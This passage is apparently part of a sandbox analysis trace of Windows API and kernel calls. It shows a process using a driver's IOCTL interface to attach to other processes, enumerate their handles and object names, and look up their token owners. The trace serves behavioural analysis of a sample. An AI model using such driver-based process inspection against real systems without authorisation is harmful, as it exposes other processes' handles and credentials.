nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x10e, lpOverlapped=0x0) returned 1 [0095.710] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.710] PsAcquireProcessExitSynchronization () returned 0x0 [0095.710] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.710] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80039163a0, HandleInformation=0x0) returned 0x0 [0095.710] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.710] PsReleaseProcessExitSynchronization () returned 0x2 [0095.710] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.710] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.710] ObfDereferenceObject (Object=0xfffffa80039163a0) returned 0x1 [0095.710] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.710] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.710] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0095.710] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.710] PsAcquireProcessExitSynchronization () returned 0x0 [0095.710] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.710] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0095.710] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.710] PsReleaseProcessExitSynchronization () returned 0x2 [0095.710] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.710] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0095.710] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x7 [0095.710] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.710] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.710] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0095.710] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.710] PsAcquireProcessExitSynchronization () returned 0x0 [0095.710] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.710] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0095.710] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.711] PsReleaseProcessExitSynchronization () returned 0x2 [0095.711] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.711] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.711] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x5 [0095.711] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.711] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.711] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0095.711] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.711] PsAcquireProcessExitSynchronization () returned 0x0 [0095.711] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.711] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0095.711] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.711] PsReleaseProcessExitSynchronization () returned 0x2 [0095.711] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.711] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.711] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x3 [0095.711] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.711] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.711] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0095.711] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.711] PsAcquireProcessExitSynchronization () returned 0x0 [0095.711] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.711] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0095.711] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.711] PsReleaseProcessExitSynchronization () returned 0x2 [0095.711] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.711] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.711] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x5 [0095.711] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.711] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.711] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0095.711] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.712] PsAcquireProcessExitSynchronization () returned 0x0 [0095.712] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.712] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0095.712] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.712] PsReleaseProcessExitSynchronization () returned 0x2 [0095.712] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.712] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.712] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x3 [0095.712] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.712] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.712] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0095.712] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.712] PsAcquireProcessExitSynchronization () returned 0x0 [0095.712] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.712] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0017007a0, HandleInformation=0x0) returned 0x0 [0095.712] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.712] PsReleaseProcessExitSynchronization () returned 0x2 [0095.712] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.712] ObQueryNameString (in: Object=0xfffff8a0017007a0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.712] ObfDereferenceObject (Object=0xfffff8a0017007a0) returned 0x3 [0095.712] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.712] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.712] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc28) returned 0xc0 [0095.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.712] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800397fb30, HandleInformation=0x0) returned 0x0 [0095.712] ObOpenObjectByPointer (in: Object=0xfffffa800397fb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.712] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x14 [0095.712] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.712] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.713] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.713] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.713] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.918] CloseHandle (hObject=0xc8) returned 1 [0095.918] CloseHandle (hObject=0xc0) returned 1 [0095.918] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.918] PsLookupProcessByProcessId (in: ProcessId=0xc28, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.918] PsAcquireProcessExitSynchronization () returned 0x0 [0095.918] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0) [0095.918] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80026224f0, HandleInformation=0x0) returned 0x0 [0095.918] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.918] PsReleaseProcessExitSynchronization () returned 0x2 [0095.918] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0095.918] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.918] ObfDereferenceObject (Object=0xfffffa80026224f0) returned 0x1 [0095.918] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.918] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.918] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.918] PsLookupProcessByProcessId (in: ProcessId=0xc28, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.919] PsAcquireProcessExitSynchronization () returned 0x0 [0095.919] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0) [0095.919] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035f0ae0, HandleInformation=0x0) returned 0x0 [0095.919] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.919] PsReleaseProcessExitSynchronization () returned 0x2 [0095.919] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0095.919] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.919] ObfDereferenceObject (Object=0xfffffa80035f0ae0) returned 0x1 [0095.919] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.919] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.919] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0095.919] PsLookupProcessByProcessId (in: ProcessId=0xc28, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.919] PsAcquireProcessExitSynchronization () returned 0x0 [0095.919] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0) [0095.919] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800286fc20, HandleInformation=0x0) returned 0x0 [0095.919] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.919] PsReleaseProcessExitSynchronization () returned 0x2 [0095.919] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0095.919] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.919] ObfDereferenceObject (Object=0xfffffa800286fc20) returned 0x3 [0095.919] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.919] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.919] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0095.919] PsLookupProcessByProcessId (in: ProcessId=0xc28, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.919] PsAcquireProcessExitSynchronization () returned 0x0 [0095.919] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880052335d0) [0095.919] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002869dd0, HandleInformation=0x0) returned 0x0 [0095.919] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.919] PsReleaseProcessExitSynchronization () returned 0x2 [0095.920] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0095.920] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.920] ObfDereferenceObject (Object=0xfffffa8002869dd0) returned 0x1 [0095.920] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.920] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.920] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc30) returned 0xc0 [0095.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.920] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80039e2b30, HandleInformation=0x0) returned 0x0 [0095.920] ObOpenObjectByPointer (in: Object=0xfffffa80039e2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.920] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x29 [0095.920] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024d98c0 | out: TokenHandle=0xfffffa80024d98c0*=0xc8) returned 0x0 [0095.920] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.920] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.920] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.920] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.921] CloseHandle (hObject=0xc8) returned 1 [0095.921] CloseHandle (hObject=0xc0) returned 1 [0095.921] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.922] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.922] PsAcquireProcessExitSynchronization () returned 0x0 [0095.922] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0) [0095.922] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800391cf20, HandleInformation=0x0) returned 0x0 [0095.922] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.922] PsReleaseProcessExitSynchronization () returned 0x2 [0095.922] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0095.922] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.922] ObfDereferenceObject (Object=0xfffffa800391cf20) returned 0x1 [0095.922] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.922] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.922] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0095.922] PsLookupProcessByProcessId (in: ProcessId=0xc30, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.922] PsAcquireProcessExitSynchronization () returned 0x0 [0095.922] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880052335d0) [0095.922] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800396c970, HandleInformation=0x0) returned 0x0 [0095.922] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.922] PsReleaseProcessExitSynchronization () returned 0x2 [0095.922] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0095.922] ObQueryNameString (in: Object=0xfffffa800396c970, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.922] ObfDereferenceObject (Object=0xfffffa800396c970) returned 0x1 [0095.922] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.922] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.922] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, 